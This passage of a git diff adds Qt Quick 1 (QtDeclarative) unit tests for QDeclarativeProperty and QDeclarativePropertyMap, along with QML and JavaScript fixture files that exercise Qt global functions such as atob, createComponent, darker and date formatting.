+ QCOMPARE(p.write(QVariant(QString("myName"))), true);
+ QCOMPARE(o.objectName(), QString("myName"));
+ }
+
+ // Writable prop by name (static)
+ {
+ PropertyObject o;
+ QCOMPARE(QDeclarativeProperty::write(&o, QString("objectName"), QVariant(QString("myName"))), true);
+ QCOMPARE(o.objectName(), QString("myName"));
+ }
+
+ // Deleted object
+ {
+ PropertyObject *o = new PropertyObject;
+ QDeclarativeProperty p(o, QString("objectName"));
+ QCOMPARE(p.write(QVariant(QString("myName"))), true);
+ QCOMPARE(o->objectName(), QString("myName"));
+
+ delete o;
+
+ QCOMPARE(p.write(QVariant(QString("myName"))), false);
+ }
+
+ // Signal property
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "onClicked");
+ QCOMPARE(p.write(QVariant("console.log(1921)")), false);
+
+ QVERIFY(0 == QDeclarativePropertyPrivate::setSignalExpression(p, new QDeclarativeExpression()));
+ QVERIFY(0 != QDeclarativePropertyPrivate::signalExpression(p));
+
+ QCOMPARE(p.write(QVariant("console.log(1921)")), false);
+
+ QVERIFY(0 != QDeclarativePropertyPrivate::signalExpression(p));
+ }
+
+ // Automatic signal property
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "onPropertyWithNotifyChanged");
+ QCOMPARE(p.write(QVariant("console.log(1921)")), false);
+
+ QVERIFY(0 == QDeclarativePropertyPrivate::setSignalExpression(p, new QDeclarativeExpression()));
+ QVERIFY(0 != QDeclarativePropertyPrivate::signalExpression(p));
+
+ QCOMPARE(p.write(QVariant("console.log(1921)")), false);
+
+ QVERIFY(0 != QDeclarativePropertyPrivate::signalExpression(p));
+ }
+
+ // Value-type property
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "wrectProperty");
+
+ QCOMPARE(o.wrectProperty(), QRect());
+ QCOMPARE(p.write(QRect(1, 13, 99, 8)), true);
+ QCOMPARE(o.wrectProperty(), QRect(1, 13, 99, 8));
+
+ QDeclarativeProperty p2(&o, "wrectProperty.x");
+ QCOMPARE(p2.read(), QVariant(1));
+ QCOMPARE(p2.write(QVariant(6)), true);
+ QCOMPARE(p2.read(), QVariant(6));
+ QCOMPARE(o.wrectProperty(), QRect(6, 13, 99, 8));
+ }
+
+ // URL-property
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "url");
+
+ QCOMPARE(p.write(QUrl("main.qml")), true);
+ QCOMPARE(o.url(), QUrl("main.qml"));
+
+ QDeclarativeProperty p2(&o, "url", engine.rootContext());
+
+ QUrl result = engine.baseUrl().resolved(QUrl("main.qml"));
+ QVERIFY(result != QUrl("main.qml"));
+
+ QCOMPARE(p2.write(QUrl("main.qml")), true);
+ QCOMPARE(o.url(), result);
+ }
+ { // static
+ PropertyObject o;
+
+ QCOMPARE(QDeclarativeProperty::write(&o, "url", QUrl("main.qml")), true);
+ QCOMPARE(o.url(), QUrl("main.qml"));
+
+ QUrl result = engine.baseUrl().resolved(QUrl("main.qml"));
+ QVERIFY(result != QUrl("main.qml"));
+
+ QCOMPARE(QDeclarativeProperty::write(&o, "url", QUrl("main.qml"), engine.rootContext()), true);
+ QCOMPARE(o.url(), result);
+ }
+
+ // Attached property
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import Test 1.0\nMyContainer { }", QUrl());
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QDeclarativeProperty p(object, "MyContainer.foo", qmlContext(object));
+ p.write(QVariant(99));
+ QCOMPARE(p.read(), QVariant(99));
+ delete object;
+ }
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import Test 1.0 as Foo\nFoo.MyContainer { Foo.MyContainer.foo: 10 }", QUrl());
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QDeclarativeProperty p(object, "Foo.MyContainer.foo", qmlContext(object));
+ p.write(QVariant(99));
+ QCOMPARE(p.read(), QVariant(99));
+ delete object;
+ }
+}
+
+void tst_qdeclarativeproperty::reset()
+{
+ // Invalid
+ {
+ QDeclarativeProperty p;
+ QCOMPARE(p.isResettable(), false);
+ QCOMPARE(p.reset(), false);
+ }
+
+ // Read-only default prop
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o);
+ QCOMPARE(p.isResettable(), false);
+ QCOMPARE(p.reset(), false);
+ }
+
+ // Invalid default prop
+ {
+ QObject o;
+ QDeclarativeProperty p(&o);
+ QCOMPARE(p.isResettable(), false);
+ QCOMPARE(p.reset(), false);
+ }
+
+ // Non-resettable-only prop by name
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, QString("defaultProperty"));
+ QCOMPARE(p.isResettable(), false);
+ QCOMPARE(p.reset(), false);
+ }
+
+ // Resettable prop by name
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, QString("resettableProperty"));
+
+ QCOMPARE(p.read(), QVariant(9));
+ QCOMPARE(p.write(QVariant(11)), true);
+ QCOMPARE(p.read(), QVariant(11));
+
+ QCOMPARE(p.isResettable(), true);
+ QCOMPARE(p.reset(), true);
+
+ QCOMPARE(p.read(), QVariant(9));
+ }
+
+ // Deleted object
+ {
+ PropertyObject *o = new PropertyObject;
+
+ QDeclarativeProperty p(o, QString("resettableProperty"));
+
+ QCOMPARE(p.isResettable(), true);
+ QCOMPARE(p.reset(), true);
+
+ delete o;
+
+ QCOMPARE(p.isResettable(), false);
+ QCOMPARE(p.reset(), false);
+ }
+
+ // Signal property
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "onClicked");
+
+ QCOMPARE(p.isResettable(), false);
+ QCOMPARE(p.reset(), false);
+ }
+
+ // Automatic signal property
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "onPropertyWithNotifyChanged");
+
+ QCOMPARE(p.isResettable(), false);
+ QCOMPARE(p.reset(), false);
+ }
+}
+
+void tst_qdeclarativeproperty::writeObjectToList()
+{
+ QDeclarativeComponent containerComponent(&engine);
+ containerComponent.setData("import Test 1.0\nMyContainer { children: MyQmlObject {} }", QUrl());
+ MyContainer *container = qobject_cast<MyContainer*>(containerComponent.create());
+ QVERIFY(container != 0);
+ QDeclarativeListReference list(container, "children");
+ QVERIFY(list.count() == 1);
+
+ MyQmlObject *object = new MyQmlObject;
+ QDeclarativeProperty prop(container, "children");
+ prop.write(qVariantFromValue(object));
+ QCOMPARE(list.count(), 1);
+ QCOMPARE(list.at(0), qobject_cast<QObject*>(object));
+}
+
+Q_DECLARE_METATYPE(QList<QObject *>);
+void tst_qdeclarativeproperty::writeListToList()
+{
+ QDeclarativeComponent containerComponent(&engine);
+ containerComponent.setData("import Test 1.0\nMyContainer { children: MyQmlObject {} }", QUrl());
+ MyContainer *container = qobject_cast<MyContainer*>(containerComponent.create());
+ QVERIFY(container != 0);
+ QDeclarativeListReference list(container, "children");
+ QVERIFY(list.count() == 1);
+
+ QList<QObject*> objList;
+ objList << new MyQmlObject() << new MyQmlObject() << new MyQmlObject() << new MyQmlObject();
+ QDeclarativeProperty prop(container, "children");
+ prop.write(qVariantFromValue(objList));
+ QCOMPARE(list.count(), 4);
+
+ //XXX need to try this with read/write prop (for read-only it correctly doesn't write)
+ /*QList<MyQmlObject*> typedObjList;
+ typedObjList << new MyQmlObject();
+ prop.write(qVariantFromValue(&typedObjList));
+ QCOMPARE(container->children()->size(), 1);*/
+}
+
+void tst_qdeclarativeproperty::crashOnValueProperty()
+{
+ QDeclarativeEngine *engine = new QDeclarativeEngine;
+ QDeclarativeComponent component(engine);
+
+ component.setData("import Test 1.0\nPropertyObject { wrectProperty.x: 10 }", QUrl());
+ PropertyObject *obj = qobject_cast<PropertyObject*>(component.create());
+ QVERIFY(obj != 0);
+
+ QDeclarativeProperty p(obj, "wrectProperty.x", qmlContext(obj));
+ QCOMPARE(p.name(), QString("wrectProperty.x"));
+
+ QCOMPARE(p.read(), QVariant(10));
+
+ //don't crash once the engine is deleted
+ delete engine;
+ engine = 0;
+
+ QCOMPARE(p.propertyTypeName(), "int");
+ QCOMPARE(p.read(), QVariant(10));
+ p.write(QVariant(20));
+ QCOMPARE(p.read(), QVariant(20));
+}
+
+// QTBUG-13719
+void tst_qdeclarativeproperty::aliasPropertyBindings()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasPropertyBindings.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("realProperty").toReal(), 90.);
+ QCOMPARE(object->property("aliasProperty").toReal(), 90.);
+
+ object->setProperty("test", 10);
+
+ QCOMPARE(object->property("realProperty").toReal(), 110.);
+ QCOMPARE(object->property("aliasProperty").toReal(), 110.);
+
+ QDeclarativeProperty realProperty(object, QLatin1String("realProperty"));
+ QDeclarativeProperty aliasProperty(object, QLatin1String("aliasProperty"));
+
+ // Check there is a binding on these two properties
+ QVERIFY(QDeclarativePropertyPrivate::binding(realProperty) != 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(aliasProperty) != 0);
+
+ // Check that its the same binding on these two properties
+ QCOMPARE(QDeclarativePropertyPrivate::binding(realProperty),
+ QDeclarativePropertyPrivate::binding(aliasProperty));
+
+ // Change the binding
+ object->setProperty("state", QString("switch"));
+
+ QVERIFY(QDeclarativePropertyPrivate::binding(realProperty) != 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(aliasProperty) != 0);
+ QCOMPARE(QDeclarativePropertyPrivate::binding(realProperty),
+ QDeclarativePropertyPrivate::binding(aliasProperty));
+
+ QCOMPARE(object->property("realProperty").toReal(), 96.);
+ QCOMPARE(object->property("aliasProperty").toReal(), 96.);
+
+ // Check the old binding really has not effect any more
+ object->setProperty("test", 4);
+
+ QCOMPARE(object->property("realProperty").toReal(), 96.);
+ QCOMPARE(object->property("aliasProperty").toReal(), 96.);
+
+ object->setProperty("test2", 9);
+
+ QCOMPARE(object->property("realProperty").toReal(), 288.);
+ QCOMPARE(object->property("aliasProperty").toReal(), 288.);
+
+ // Revert
+ object->setProperty("state", QString(""));
+
+ QVERIFY(QDeclarativePropertyPrivate::binding(realProperty) != 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(aliasProperty) != 0);
+ QCOMPARE(QDeclarativePropertyPrivate::binding(realProperty),
+ QDeclarativePropertyPrivate::binding(aliasProperty));
+
+ QCOMPARE(object->property("realProperty").toReal(), 20.);
+ QCOMPARE(object->property("aliasProperty").toReal(), 20.);
+
+ object->setProperty("test2", 3);
+
+ QCOMPARE(object->property("realProperty").toReal(), 20.);
+ QCOMPARE(object->property("aliasProperty").toReal(), 20.);
+
+ delete object;
+}
+
+void tst_qdeclarativeproperty::copy()
+{
+ PropertyObject object;
+
+ QDeclarativeProperty *property = new QDeclarativeProperty(&object, QLatin1String("defaultProperty"));
+ QCOMPARE(property->name(), QString("defaultProperty"));
+ QCOMPARE(property->read(), QVariant(10));
+ QCOMPARE(property->type(), QDeclarativeProperty::Property);
+ QCOMPARE(property->propertyTypeCategory(), QDeclarativeProperty::Normal);
+ QCOMPARE(property->propertyType(), (int)QVariant::Int);
+
+ QDeclarativeProperty p1(*property);
+ QCOMPARE(p1.name(), QString("defaultProperty"));
+ QCOMPARE(p1.read(), QVariant(10));
+ QCOMPARE(p1.type(), QDeclarativeProperty::Property);
+ QCOMPARE(p1.propertyTypeCategory(), QDeclarativeProperty::Normal);
+ QCOMPARE(p1.propertyType(), (int)QVariant::Int);
+
+ QDeclarativeProperty p2(&object, QLatin1String("url"));
+ QCOMPARE(p2.name(), QString("url"));
+ p2 = *property;
+ QCOMPARE(p2.name(), QString("defaultProperty"));
+ QCOMPARE(p2.read(), QVariant(10));
+ QCOMPARE(p2.type(), QDeclarativeProperty::Property);
+ QCOMPARE(p2.propertyTypeCategory(), QDeclarativeProperty::Normal);
+ QCOMPARE(p2.propertyType(), (int)QVariant::Int);
+
+ delete property; property = 0;
+
+ QCOMPARE(p1.name(), QString("defaultProperty"));
+ QCOMPARE(p1.read(), QVariant(10));
+ QCOMPARE(p1.type(), QDeclarativeProperty::Property);
+ QCOMPARE(p1.propertyTypeCategory(), QDeclarativeProperty::Normal);
+ QCOMPARE(p1.propertyType(), (int)QVariant::Int);
+
+ QCOMPARE(p2.name(), QString("defaultProperty"));
+ QCOMPARE(p2.read(), QVariant(10));
+ QCOMPARE(p2.type(), QDeclarativeProperty::Property);
+ QCOMPARE(p2.propertyTypeCategory(), QDeclarativeProperty::Normal);
+ QCOMPARE(p2.propertyType(), (int)QVariant::Int);
+}
+
+void tst_qdeclarativeproperty::initTestCase()
+{
+ qmlRegisterType<MyQmlObject>("Test",1,0,"MyQmlObject");
+ qmlRegisterType<PropertyObject>("Test",1,0,"PropertyObject");
+ qmlRegisterType<MyContainer>("Test",1,0,"MyContainer");
+}
+
+
+QTEST_MAIN(tst_qdeclarativeproperty)
+
+#include "tst_qdeclarativeproperty.moc"
diff --git a/tests/auto/declarative/qdeclarativepropertymap/qdeclarativepropertymap.pro b/tests/auto/declarative/qdeclarativepropertymap/qdeclarativepropertymap.pro
new file mode 100644
index 00000000..3c0f7b34
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepropertymap/qdeclarativepropertymap.pro
@@ -0,0 +1,8 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativepropertymap.cpp
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp b/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp
new file mode 100644
index 00000000..33a66891
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp
@@ -0,0 +1,223 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativepropertymap.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativetext_p.h>
+#include <QSignalSpy>
+
+class tst_QDeclarativePropertyMap : public QObject
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativePropertyMap() {}
+
+private slots:
+ void insert();
+ void operatorInsert();
+ void operatorValue();
+ void clear();
+ void changed();
+ void count();
+
+ void crashBug();
+};
+
+void tst_QDeclarativePropertyMap::insert()
+{
+ QDeclarativePropertyMap map;
+ map.insert(QLatin1String("key1"),100);
+ map.insert(QLatin1String("key2"),200);
+ QVERIFY(map.keys().count() == 2);
+ QVERIFY(map.contains(QLatin1String("key1")));
+
+ QCOMPARE(map.value(QLatin1String("key1")), QVariant(100));
+ QCOMPARE(map.value(QLatin1String("key2")), QVariant(200));
+
+ map.insert(QLatin1String("key1"),"Hello World");
+ QCOMPARE(map.value(QLatin1String("key1")), QVariant("Hello World"));
+
+ //inserting property names same with existing method(signal, slot, method) names is not allowed
+ //QDeclarativePropertyMap has an invokable keys() method
+ QTest::ignoreMessage(QtWarningMsg, "Creating property with name \"keys\" is not permitted, conflicts with internal symbols. ");
+ map.insert(QLatin1String("keys"), 1);
+ QVERIFY(map.keys().count() == 2);
+ QVERIFY(!map.contains(QLatin1String("keys")));
+ QVERIFY(map.value(QLatin1String("keys")).isNull());
+
+ //QDeclarativePropertyMap has a deleteLater() slot
+ QTest::ignoreMessage(QtWarningMsg, "Creating property with name \"deleteLater\" is not permitted, conflicts with internal symbols. ");
+ map.insert(QLatin1String("deleteLater"), 1);
+ QVERIFY(map.keys().count() == 2);
+ QVERIFY(!map.contains(QLatin1String("deleteLater")));
+ QVERIFY(map.value(QLatin1String("deleteLater")).isNull());
+
+ //QDeclarativePropertyMap has an valueChanged() signal
+ QTest::ignoreMessage(QtWarningMsg, "Creating property with name \"valueChanged\" is not permitted, conflicts with internal symbols. ");
+ map.insert(QLatin1String("valueChanged"), 1);
+ QVERIFY(map.keys().count() == 2);
+ QVERIFY(!map.contains(QLatin1String("valueChanged")));
+ QVERIFY(map.value(QLatin1String("valueChanged")).isNull());
+
+ //but 'valueChange' should be ok
+ map.insert(QLatin1String("valueChange"), 1);
+ QVERIFY(map.keys().count() == 3);
+ QVERIFY(map.contains(QLatin1String("valueChange")));
+ QCOMPARE(map.value(QLatin1String("valueChange")), QVariant(1));
+
+ //'valueCHANGED' should be ok, too
+ map.insert(QLatin1String("valueCHANGED"), 1);
+ QVERIFY(map.keys().count() == 4);
+ QVERIFY(map.contains(QLatin1String("valueCHANGED")));
+ QCOMPARE(map.value(QLatin1String("valueCHANGED")), QVariant(1));
+}
+
+void tst_QDeclarativePropertyMap::operatorInsert()
+{
+ QDeclarativePropertyMap map;
+ map[QLatin1String("key1")] = 100;
+ map[QLatin1String("key2")] = 200;
+ QVERIFY(map.keys().count() == 2);
+
+ QCOMPARE(map.value(QLatin1String("key1")), QVariant(100));
+ QCOMPARE(map.value(QLatin1String("key2")), QVariant(200));
+
+ map[QLatin1String("key1")] = "Hello World";
+ QCOMPARE(map.value(QLatin1String("key1")), QVariant("Hello World"));
+}
+
+void tst_QDeclarativePropertyMap::operatorValue()
+{
+ QDeclarativePropertyMap map;
+ map.insert(QLatin1String("key1"),100);
+ map.insert(QLatin1String("key2"),200);
+ QVERIFY(map.count() == 2);
+ QVERIFY(map.contains(QLatin1String("key1")));
+
+ const QDeclarativePropertyMap &constMap = map;
+
+ QCOMPARE(constMap.value(QLatin1String("key1")), QVariant(100));
+ QCOMPARE(constMap.value(QLatin1String("key2")), QVariant(200));
+ QCOMPARE(constMap[QLatin1String("key1")], constMap.value(QLatin1String("key1")));
+ QCOMPARE(constMap[QLatin1String("key2")], constMap.value(QLatin1String("key2")));
+}
+
+void tst_QDeclarativePropertyMap::clear()
+{
+ QDeclarativePropertyMap map;
+ map.insert(QLatin1String("key1"),100);
+ QVERIFY(map.keys().count() == 1);
+
+ QCOMPARE(map.value(QLatin1String("key1")), QVariant(100));
+
+ map.clear(QLatin1String("key1"));
+ QVERIFY(map.keys().count() == 1);
+ QVERIFY(map.contains(QLatin1String("key1")));
+ QCOMPARE(map.value(QLatin1String("key1")), QVariant());
+}
+
+void tst_QDeclarativePropertyMap::changed()
+{
+ QDeclarativePropertyMap map;
+ QSignalSpy spy(&map, SIGNAL(valueChanged(const QString&, const QVariant&)));
+ map.insert(QLatin1String("key1"),100);
+ map.insert(QLatin1String("key2"),200);
+ QCOMPARE(spy.count(), 0);
+
+ map.clear(QLatin1String("key1"));
+ QCOMPARE(spy.count(), 0);
+
+ //make changes in QML
+ QDeclarativeEngine engine;
+ QDeclarativeContext *ctxt = engine.rootContext();
+ ctxt->setContextProperty(QLatin1String("testdata"), &map);
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\nText { text: { testdata.key1 = 'Hello World'; 'X' } }",
+ QUrl::fromLocalFile(""));
+ QVERIFY(component.isReady());
+ QDeclarativeText *txt = qobject_cast<QDeclarativeText*>(component.create());
+ QVERIFY(txt);
+ QCOMPARE(txt->text(), QString('X'));
+ QCOMPARE(spy.count(), 1);
+ QList<QVariant> arguments = spy.takeFirst();
+ QCOMPARE(arguments.count(), 2);
+ QCOMPARE(arguments.at(0).toString(),QLatin1String("key1"));
+ QCOMPARE(arguments.at(1).value<QVariant>(),QVariant("Hello World"));
+ QCOMPARE(map.value(QLatin1String("key1")), QVariant("Hello World"));
+}
+
+void tst_QDeclarativePropertyMap::count()
+{
+ QDeclarativePropertyMap map;
+ QCOMPARE(map.isEmpty(), true);
+ map.insert(QLatin1String("key1"),100);
+ map.insert(QLatin1String("key2"),200);
+ QCOMPARE(map.count(), 2);
+ QCOMPARE(map.isEmpty(), false);
+
+ map.insert(QLatin1String("key3"),"Hello World");
+ QCOMPARE(map.count(), 3);
+
+ //clearing doesn't remove the key
+ map.clear(QLatin1String("key3"));
+ QCOMPARE(map.count(), 3);
+ QCOMPARE(map.size(), map.count());
+}
+
+void tst_QDeclarativePropertyMap::crashBug()
+{
+ QDeclarativePropertyMap map;
+
+ QDeclarativeEngine engine;
+ QDeclarativeContext context(&engine);
+ context.setContextProperty("map", &map);
+
+ QDeclarativeComponent c(&engine);
+ c.setData("import QtQuick 1.0\nBinding { target: map; property: \"myProp\"; value: 10 + 23 }",QUrl());
+ QObject *obj = c.create(&context);
+ delete obj;
+}
+
+QTEST_MAIN(tst_QDeclarativePropertyMap)
+
+#include "tst_qdeclarativepropertymap.moc"
diff --git a/tests/auto/declarative/qdeclarativeqt/data/atob.qml b/tests/auto/declarative/qdeclarativeqt/data/atob.qml
new file mode 100644
index 00000000..f74aae83
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/atob.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+QtObject {
+ property string test1: Qt.atob()
+ property string test2: Qt.atob("SGVsbG8gd29ybGQh")
+}
+
diff --git a/tests/auto/declarative/qdeclarativeqt/data/btoa.qml b/tests/auto/declarative/qdeclarativeqt/data/btoa.qml
new file mode 100644
index 00000000..63b58c07
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/btoa.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property string test1: Qt.btoa()
+ property string test2: Qt.btoa("Hello world!")
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/consoleLog.qml b/tests/auto/declarative/qdeclarativeqt/data/consoleLog.qml
new file mode 100644
index 00000000..fe47f3ff
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/consoleLog.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ Component.onCompleted: {
+ console.log("completed", "ok")
+ console.log("completed ok")
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/createComponent.qml b/tests/auto/declarative/qdeclarativeqt/data/createComponent.qml
new file mode 100644
index 00000000..9d0dd345
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/createComponent.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool emptyArg: false
+
+ property string relativeUrl
+ property string absoluteUrl
+
+ property QtObject incorectArgCount1: Qt.createComponent()
+ property QtObject incorectArgCount2: Qt.createComponent("main.qml", 10)
+
+ Component.onCompleted: {
+ emptyArg = (Qt.createComponent("") == null);
+ var r = Qt.createComponent("createComponentData.qml");
+ relativeUrl = r.url;
+
+ var a = Qt.createComponent("http://www.example.com/test.qml");
+ absoluteUrl = a.url;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/createComponentData.qml b/tests/auto/declarative/qdeclarativeqt/data/createComponentData.qml
new file mode 100644
index 00000000..6ac470ea
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/createComponentData.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property int test: 1913
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/createComponent_lib.js b/tests/auto/declarative/qdeclarativeqt/data/createComponent_lib.js
new file mode 100644
index 00000000..30499e94
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/createComponent_lib.js
@@ -0,0 +1,11 @@
+.pragma library
+
+function loadComponent() {
+ var component = Qt.createComponent("createComponentData.qml");
+ return component.status;
+}
+
+function createComponent() {
+ var component = Qt.createComponent("createComponentData.qml");
+ return component.createObject(null);
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/createComponent_lib.qml b/tests/auto/declarative/qdeclarativeqt/data/createComponent_lib.qml
new file mode 100644
index 00000000..5b8c1b13
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/createComponent_lib.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+import "createComponent_lib.js" as Test
+
+Item {
+ property int status: Component.Null
+ property int readValue: 0
+
+ Component.onCompleted: {
+ status = Test.loadComponent()
+ readValue = Test.createComponent().test;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml b/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml
new file mode 100644
index 00000000..8c35ebf1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml
@@ -0,0 +1,31 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+
+ // errors resulting in exceptions
+ property QtObject incorrectArgCount1: Qt.createQmlObject()
+ property QtObject incorrectArgCount2: Qt.createQmlObject("import QtQuick 1.0\nQtObject{}", root, "main.qml", 10)
+ property QtObject noParent: Qt.createQmlObject("import QtQuick 1.0\nQtObject{\nproperty int test: 13}", 0)
+ property QtObject notAvailable: Qt.createQmlObject("import QtQuick 1.0\nQtObject{Blah{}}", root)
+ property QtObject errors: Qt.createQmlObject("import QtQuick 1.0\nQtObject{\nproperty int test: 13\nproperty int test: 13\n}", root, "main.qml")
+
+ property bool emptyArg: false
+
+ property bool success: false
+
+ Component.onCompleted: {
+ // errors resulting in nulls
+ emptyArg = (Qt.createQmlObject("", root) == null);
+ try {
+ Qt.createQmlObject("import QtQuick 1.0\nQtObject{property int test\nonTestChanged: QtObject{}\n}", root)
+ } catch (error) {
+ console.log("RunTimeError: ",error.message);
+ }
+
+ var o = Qt.createQmlObject("import QtQuick 1.0\nQtObject{\nproperty int test: 13\n}", root);
+ success = (o.test == 13);
+
+ Qt.createQmlObject("import QtQuick 1.0\nItem {}\n", root);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/darker.qml b/tests/auto/declarative/qdeclarativeqt/data/darker.qml
new file mode 100644
index 00000000..d2ef866d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/darker.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant test1: Qt.darker(Qt.rgba(1, 0.8, 0.3))
+ property variant test2: Qt.darker()
+ property variant test3: Qt.darker(Qt.rgba(1, 0.8, 0.3), 2.8)
+ property variant test4: Qt.darker("red");
+ property variant test5: Qt.darker("perfectred"); // Non-existant color
+ property variant test6: Qt.darker(10);
+ property variant test7: Qt.darker(Qt.rgba(1, 0.8, 0.3), 2.8, 10)
+}
+
diff --git a/tests/auto/declarative/qdeclarativeqt/data/enums.qml b/tests/auto/declarative/qdeclarativeqt/data/enums.qml
new file mode 100644
index 00000000..aec6f63c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/enums.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ property int test1: Qt.Key_Escape
+ property int test2: Qt.DescendingOrder
+ property int test3: Qt.ElideMiddle
+ property int test4: Qt.AlignRight
+}
+
diff --git a/tests/auto/declarative/qdeclarativeqt/data/fontFamilies.qml b/tests/auto/declarative/qdeclarativeqt/data/fontFamilies.qml
new file mode 100644
index 00000000..c9f50d48
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/fontFamilies.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant test1: Qt.fontFamilies(10)
+ property variant test2: Qt.fontFamilies();
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/formatting.qml b/tests/auto/declarative/qdeclarativeqt/data/formatting.qml
new file mode 100644
index 00000000..f520aeb4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/formatting.qml
@@ -0,0 +1,44 @@
+import QtQuick 1.0
+
+QtObject {
+ property date dateFromString: "2008-12-24"
+ property variant jsdate: new Date(2008,11,24,14,15,38,200) // months are 0-based
+
+ function formatDate(prop) {
+ var v = eval(prop)
+ return [
+ Qt.formatDate(v),
+ Qt.formatDate(v, Qt.DefaultLocaleLongDate),
+ Qt.formatDate(v, "ddd MMMM d yy")
+ ]
+ }
+
+ function formatTime(prop) {
+ var v = eval(prop)
+ return [
+ Qt.formatTime(v),
+ Qt.formatTime(v, Qt.DefaultLocaleLongDate),
+ Qt.formatTime(v, "H:m:s a"),
+ Qt.formatTime(v, "hh:mm:ss.zzz")
+ ]
+ }
+
+ function formatDateTime(prop) {
+ var v = eval(prop)
+ return [
+ Qt.formatDateTime(v),
+ Qt.formatDateTime(v, Qt.DefaultLocaleLongDate),
+ Qt.formatDateTime(v, "M/d/yy H:m:s a")
+ ]
+ }
+
+ // Error cases
+ property string err_date1: Qt.formatDate()
+ property string err_date2: Qt.formatDate(new Date, new Object)
+
+ property string err_time1: Qt.formatTime()
+ property string err_time2: Qt.formatTime(new Date, new Object)
+
+ property string err_dateTime1: Qt.formatDateTime()
+ property string err_dateTime2: Qt.formatDateTime(new Date, new Object)
+}
